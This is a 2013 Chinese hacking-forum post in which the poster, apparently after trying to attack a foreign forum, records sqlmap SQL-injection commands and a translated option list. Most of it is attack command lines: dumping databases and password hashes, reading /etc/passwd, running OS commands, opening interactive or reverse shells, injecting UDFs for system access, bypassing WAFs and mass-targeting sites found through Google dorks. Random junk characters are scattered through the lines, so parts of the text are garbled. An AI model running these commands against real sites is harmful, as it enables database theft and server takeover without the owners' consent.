找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2624|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
1 O6 n# l$ C6 l6 O+ K$ h7 W% ?sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称8 ]' Y3 n( K. x
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
& y1 o& L: ^- Z( r! X2 }sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
- ^; e# w4 I& x' r8 d/ n$ N7 O: ?
6 K( [* ]5 T2 T* z4 j3 a- u5 ]sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
. w3 o4 F6 t$ _0 X7 W0 P- `6 |8 i0 `0 #获取字段内容& y2 E4 _' G# q: _! I3 F2 E
* r, V2 p4 R& T, s2 ~3 h& v
******************信息获取******************/ k  ]0 V. K$ p* S/ Q
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型( Z* C2 a% l+ c( u  e
sqlmap -u “http://url/news?id=1″ –users #列数据库用户3 Y0 G% m  ]2 I
sqlmap -u “http://url/news?id=1″ –dbs#列数据库. \4 |; Z, Q- N: p* p( `( y5 K/ @
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码' b7 L, S7 i4 {2 |) |$ g5 v2 g4 x
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
' r9 I; J2 ?$ Z7 |* psqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”  o; W' K6 g: {3 s9 W5 Z
–start 1 –stop 20 #列出指定字段,列出20 条" D: Q8 Q7 v4 g: w8 j
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
$ r8 j$ ~  n/ J4 D7 fsqlmap -u “http://url/news?id=1″ –privileges #查看权限
% p+ \' `8 `) Y  b- J: f; q1 asqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色, N0 H3 J  k& Z. T- a3 o0 r2 p
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
, A$ ?, ]/ o/ [; I7 T! ]7 ]8 m' d3 Vsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表6 D4 H  u) `! g# {
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录" j4 h7 e1 H" L
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入% B7 ?7 Y' B, }
sqlmap -u “http://url/news?id=1″-b #获取banner信息
/ b# `) {; @' ?0 `& Osqlmap -u “http://url/news?id=1″ –data “id=3″#post注入; C$ h  x1 V# a0 P/ g# A4 Y
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
3 y% T+ U, }! f+ M7 Psqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入5 v; l4 X9 U9 ~, d
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
: u$ U* W' j: R4 tsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
# |  ]$ f6 h, K% \) k# Gsqlmap -u “http://url/news?id=1″ –file /etc/passwd+ N; w6 `; z7 ^! B8 j( z. f2 h4 O
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
& U8 o+ {! W) Nsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell7 g+ N, @8 j+ F" Y0 J- W
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
. y  W0 G0 ]! ^5 R% Z4 [: T- Csqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
0 x: s. R7 X5 Gsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度, n" q# b' V6 c
***********高级用法*************
" O; C  j7 c$ \: k9 i" q6 f-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- Z: ^" f/ k5 S
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
' R7 h3 j  ^& V–technique   测试指定注入类型\使用的技术8 R* v  N- }9 ~! a6 T8 T( b. r5 C
不加参数默认测试所有注入技术
6 O0 Q' O) l& E% C% e•     B: 基于布尔的SQL 盲注
& }* g; }. l+ ]•     E: 基于显错sql 注入2 \: j0 J+ ]5 [' q
•     U: 基于UNION 注入+ _/ V& n( s& b, h, m* E5 [' k
•     S: 叠层sql 注入
! n0 f9 w5 y& h0 h: U7 i•     T: 基于时间盲注
$ n9 x5 |' X0 `4 b( A–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()6 V: x6 a& E+ v1 `' h
–tamper 插件所在目录
9 G3 I! N7 W; z2 ^, Y" V\sqlmap-dev\tamper  g7 d- I& O8 y  q5 \' w2 C
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
5 C& X' q3 H/ k5 ~level 执行测试等级 攻击实例:; |' y" s- [$ ^
Sqlmap -u “http://url/news?id=1&Submit=Submit”
' h6 F6 u2 Q& S–cookie=”PHPSESSID=41aa833e6d0d+ I. ]% E% m5 p3 w3 i+ Y
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
, p! g* a2 C6 ^- f–password, p# m; s) H& e
参考文档:http://sqlmap.sourceforge.net/doc/README.html7 T9 {# ?, [  c5 B; O
***********安装最新版本*************' ]. u- U! u+ v: N* P3 L) c% `5 c4 v2 T+ n
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版6 y6 w+ C: B7 ~; E& u# B# m
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& K1 z" ~" p, c/ p# {) q6 [* A
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件; N5 [8 b! q( I% E8 }
sudo vim /home/当前用户/.bashrc
* W$ }( l0 Q( N3 B' s2 y1 J4 g$ ^#任意位置加上:
8 H  C( x0 _) I1 |alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
6 `) u5 C! O# Q1 u) y, a+ X如果想对所有用户有效 可设置全局 编辑下面的文件# q* a- `' p- s/ S, u+ s0 [/ c
vim /etc/profile, ^$ Z! j& i  P1 n
同样加上:
) @& A, L4 |5 L$ V) J3 }% J3 qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效5 T. B! U4 F4 _0 g# p* x
******************windows 7 (x64) sqlmap install (SVN)************
: `0 Z- u) U' N* j2 m3 B! dhttp://www.python.org/getit/ 安装python1 O; a9 M1 N0 u! e! |
http://www.sliksvn.com/en/download 安装windows svn client
, F4 Q0 `7 D( H) q( K8 N* ]9 J- Osvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 G5 n7 z$ i  v& C; L2 o" n
安装sqlmap: o9 J5 M7 ~2 {7 A2 _7 a$ g4 z
*修改环境变量
  h- V  T  T8 d5 v–version             显示程序的版本号并退出
3 O) O4 q, y: y5 I: s' I. o" u-h, –help            显示此帮助消息并退出; K2 b# w* z+ [. S0 @2 d& s
-v VERBOSE            详细级别:0-6(默认为1)) ]2 ^) n, w) [& l
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。/ u# `5 [9 J+ J  h; ?/ n7 m
-d DIRECT           直接连接到数据库。
& x) M) s! [4 y-u URL, –url=URL   目标URL。- ]* G; Z+ N3 R; G4 k; L
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。! J+ d3 W, O$ W& }" t
-r REQUESTFILE      从一个文件中载入HTTP 请求。
; u: }7 o2 M& \4 y- y" n-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
6 C% w$ |, V# ?# G6 _9 z-c CONFIGFILE       从INI 配置文件中加载选项。) C- y- o+ k# p0 D0 `: e9 \
Request(请求)::
; O7 @- R! h" _0 |" ?7 T这些选项可以用来指定如何连接到目标URL。
8 ~- m, t" m# c) O( u# j( n* ?–data=DATA         通过POST 发送的数据字符串5 c, O4 r: S- S% X
–cookie=COOKIE     HTTP Cookie 头7 l- V& U' V; ^* n$ _1 D# [
–cookie-urlencode  URL 编码生成的cookie 注入
% b" h  T2 N2 a# @" X–drop-set-cookie   忽略响应的Set –Cookie 头信息0 d, B: r7 o5 e0 u" g

3 z8 ], L- c- `& Q5 a4 t2 L–user-agent=AGENT  指定  HTTP User –Agent 头
- N5 |# N$ m5 x5 Y–random-agent      使用随机选定的HTTP User –Agent 头8 k: W! k2 E' y. S  ?
–referer=REFERER   指定  HTTP Referer 头
: J0 L. C7 v! k; N' j( w–headers=HEADERS   换行分开,加入其他的HTTP 头
. ?$ I- G3 d0 G* o2 e+ n9 [–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
& w0 O1 @' G8 k$ d–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)  a$ Q" Z% q. T5 r+ u
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)& q6 C! P9 l' }6 D) Y
–proxy=PROXY       使用HTTP 代理连接到目标URL
* j7 Y) ]" V% p. n& n–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)# T! b/ m% F  H  H% Y# @
–ignore-proxy      忽略系统默认的HTTP 代理
8 a) s  t) I% U6 S0 f–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒4 y- W( P! |4 s: l, d. t' v
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)8 z: k/ O! M2 V+ W* `
–retries=RETRIES   连接超时后重新连接的时间(默认3)
% s; K/ `! S* p! d$ c–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式9 w$ M0 s, Q, j: [: L  H9 u, W
–safe-url=SAFURL   在测试过程中经常访问的url 地址. W( y( c7 u% ]" l2 ~1 Q9 K
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
# R9 A5 H9 n0 r1 J( U, \4 C/ uOptimization(优化): 这些选项可用于优化SqlMap 的性能。0 T6 g2 [  g. p9 k; c
-o                  开启所有优化开关
  |- L1 @, P6 ^' h, o–predict-output    预测常见的查询输出
+ ~; ]1 x; ~$ A; r. y–keep-alive        使用持久的HTTP(S)连接2 |5 ~) I  r" J8 N1 X
–null-connection   从没有实际的HTTP 响应体中检索页面长度; v; n3 F7 x  {" q
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
8 c- L% Y' X, Z) @( MInjection(注入):; p! _1 V, [, T1 M' B; \
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
1 G& f3 i3 b: ]-p TESTPARAMETER    可测试的参数(S)8 z- o' c$ a. J! z6 u
–dbms=DBMS         强制后端的DBMS 为此值
# I: {: _! a; |% e–os=OS             强制后端的DBMS 操作系统为这个值
0 t% K0 Y1 S( h2 z- k+ Y, S5 Y–prefix=PREFIX     注入payload 字符串前缀4 \( c; f% G% v) H
–suffix=SUFFIX     注入 payload 字符串后缀
  c" h$ m; L/ F1 K6 p2 r4 A6 }) I5 F–tamper=TAMPER     使用给定的脚本(S)篡改注入数据8 t$ t* B* E1 R+ C" e( L" r
Detection(检测):% \0 Y4 p6 n3 x2 b
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。6 g9 Z7 A$ D6 P8 [$ I6 A3 ~6 G# G
–level=LEVEL       执行测试的等级(1-5,默认为1)7 \, h' R' `) K) v" `. g! v
–risk=RISK         执行测试的风险(0-3,默认为1)
, Z2 {+ C* C. ^$ L4 x* x–string=STRING     查询时有效时在页面匹配字符串
$ ~, h2 {0 a$ h, k& v–regexp=REGEXP     查询时有效时在页面匹配正则表达式
$ {4 m: e  G6 x+ _- l0 W3 |+ k–text-only         仅基于在文本内容比较网页; f, I6 S! v7 e3 G
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
. }# E. ~  ~5 ]2 |8 D( [–technique=TECH    SQL 注入技术测试(默认BEUST)
! Z. X6 \0 j3 ~% |3 X4 E8 i–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)0 ^$ Q3 a4 {) m1 U: W1 e
–union-cols=UCOLS  定列范围用于测试UNION 查询注入2 m  D; y9 j" d2 ?8 Y9 o* k; t
–union-char=UCHAR  用于暴力猜解列数的字符9 S, t8 o  C6 h+ t; B4 _
Fingerprint(指纹):; V# Y" u+ z- F5 t4 H
-f, –fingerprint     执行检查广泛的DBMS 版本指纹- z( J; J: [7 |; I8 E/ x
Enumeration(枚举):
6 ?; L5 p" j7 D! {" O6 I' A# V
1 O7 j( l% J; Q这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
. q( o5 @8 q1 V: L2 Q5 R) K-b, –banner        检索数据库管理系统的标识; I) e; d! ~7 j7 r' N
–current-user      检索数据库管理系统当前用户
5 h8 x2 d7 M3 ]1 x–current-db        检索数据库管理系统当前数据库
2 g" z, A! h) W& F–is-dba            检测DBMS 当前用户是否DBA
! }0 _" C/ c3 R5 {% J2 e–users             枚举数据库管理系统用户
  u" a" @! I. g, E  M–passwords         枚举数据库管理系统用户密码哈希' O$ b8 s5 V6 n7 K1 i; A7 ?
–privileges        枚举数据库管理系统用户的权限
, ^: }" H7 a7 L- P–roles             枚举数据库管理系统用户的角色/ W& d4 D0 z4 J* S
–dbs               枚举数据库管理系统数据库  i$ B" {4 t+ D$ i% o0 n
–tables            枚举的DBMS 数据库中的表0 u6 c  O6 b7 }
–columns           枚举DBMS 数据库表列
, D. ]  x5 K( W' q–dump              转储数据库管理系统的数据库中的表项
6 F; [% y" r/ D- u; a–dump-all          转储所有的DBMS 数据库表中的条目
2 j, f2 J2 X" ^8 }( |( ~6 ?–search            搜索列(S),表(S)和/或数据库名称(S)9 K1 A+ |' {# W' f5 A! J" U
-D DB               要进行枚举的数据库名
! P# Y  P* c9 E' r2 O-T TBL              要进行枚举的数据库表  \+ Q9 I+ i: ^; {% e/ g; v7 b
-C COL              要进行枚举的数据库列' \5 R2 ~$ K# S# _
-U USER             用来进行枚举的数据库用户" z1 _, n- r4 t1 W
–exclude-sysdbs    枚举表时排除系统数据库; Y1 k) t6 a" u* ^
–start=LIMITSTART  第一个查询输出进入检索7 [5 r* R3 A$ R& \9 @9 r! |7 s( M
–stop=LIMITSTOP    最后查询的输出进入检索
9 n9 V9 M* F3 T8 b7 k9 m–first=FIRSTCHAR   第一个查询输出字的字符检索/ ~  G: w) e( g1 J  g8 Z5 Z$ L
–last=LASTCHAR     最后查询的输出字字符检索- s0 n3 \& E4 c6 k5 |
–sql-query=QUERY   要执行的SQL 语句
+ O2 y+ L, H9 u$ s, [3 H' g5 l: s6 d+ m–sql-shell         提示交互式SQL 的shell
! V! [. q/ l$ fBrute force(蛮力): 这些选项可以被用来运行蛮力检查。% Z8 J# Q: r2 v3 v
–common-tables     检查存在共同表. }4 C+ g) {4 D. d
–common-columns    检查存在共同列; g- K: \) U8 y2 h* E1 {8 x9 _
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。  O9 ?- U. d  Q
–udf-inject        注入用户自定义函数* \8 y/ ]5 w  T. P5 W
–shared-lib=SHLIB  共享库的本地路径- }$ f* c' K- ?" C, g+ L
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
+ _* _& `$ \0 ~1 T/ t( h–file-read=RFILE   从后端的数据库管理系统文件系统读取文件3 U/ p6 t; N( j& T5 \
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件: R$ u2 O8 I* {% @
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径' q2 D! @' P% L0 a# f
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。2 \# ?' N2 [% D3 J6 z
–os-cmd=OSCMD      执行操作系统命令- \# n0 D/ X, g1 q& T8 a+ \7 `
–os-shell          交互式的操作系统的shell
8 [; V8 Z6 O7 i! s5 ~' _$ [9 Z–os-pwn            获取一个OOB shell,meterpreter 或VNC6 u* d" M9 f% [7 ?
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC8 f  G  |; I) A/ R! A
–os-bof            存储过程缓冲区溢出利用
( M+ l* u! ^8 }, p–priv-esc          数据库进程用户权限提升
0 y; G- Y$ U9 q% U  _( P& X–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
& G; x, z  ~1 P4 X–tmp-path=TMPPATH  远程临时文件目录的绝对路径
8 ~0 ]/ ~! f* V) A" m & V2 ^5 g8 d& K& {+ ~% ?
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 ]+ t8 V: T1 B) T0 D( _# }–reg-read          读一个Windows 注册表项值
& o& q4 a8 R5 B  A0 A–reg-add           写一个Windows 注册表项值数据
2 W# H( X( G$ k! j8 o0 O–reg-del           删除Windows 注册表键值
$ b, V* L" E6 Q# U2 y3 S9 P–reg-key=REGKEY    Windows 注册表键+ G) }# l3 x$ m0 c7 u
–reg-value=REGVAL  Windows 注册表项值
9 n  Q! J& D5 m* H8 o–reg-data=REGDATA  Windows 注册表键值数据
7 V5 d! L* b( q0 F8 v–reg-type=REGTYPE  Windows 注册表项值类型
7 T/ x. ~% I# C7 _3 W6 O6 ~General(一般): 这些选项可以用来设置一些一般的工作参数。
/ j0 B! |5 o0 S5 Y: W. R-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
! D# C0 W" m+ H/ ^& D  ?0 l-s SESSIONFILE      保存和恢复检索会话文件的所有数据& N2 b( v( q* K" w/ y
–flush-session     刷新当前目标的会话文件
+ u+ k+ ~* Q. l% y–fresh-queries     忽略在会话文件中存储的查询结果
( Q+ |4 m3 L& L% a  N–eta               显示每个输出的预计到达时间
* [6 C  p5 g, S, s4 K; X–update            更新SqlMap* M# x! w9 Q! s* O
–save              file 保存选项到INI 配置文件
3 g9 M+ ?+ c% ?/ _–batch             从不询问用户输入,使用所有默认配置。
6 w9 w3 s. p0 {8 V( l/ M. nMiscellaneous(杂项):
1 G3 A$ H: z0 h–beep              发现SQL 注入时提醒
# z& C/ g- K0 i/ S% A- S) \* t–check-payload     IDS 对注入payloads 的检测测试
+ R+ r$ Z+ ^/ {0 x  x  R–cleanup           SqlMap 具体的UDF 和表清理DBMS
2 M5 F, c0 t% |, o–forms             对目标URL 的解析和测试形式9 ?7 q, v2 i  [1 a6 Q% L
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果8 x& d( D# S2 l3 `) L3 D8 Z7 z5 z4 y* F
–page-rank         Google dork 结果显示网页排名(PR)0 j) G. O; w5 p1 K, X4 L% d1 X5 K# a
–parse-errors      从响应页面解析数据库管理系统的错误消息
/ u3 K* N# v8 i9 I/ l/ s–replicate         复制转储的数据到一个sqlite3 数据库+ [; T. g0 N- \1 X1 \* C
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址3 ]' z4 C* I/ U8 M
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表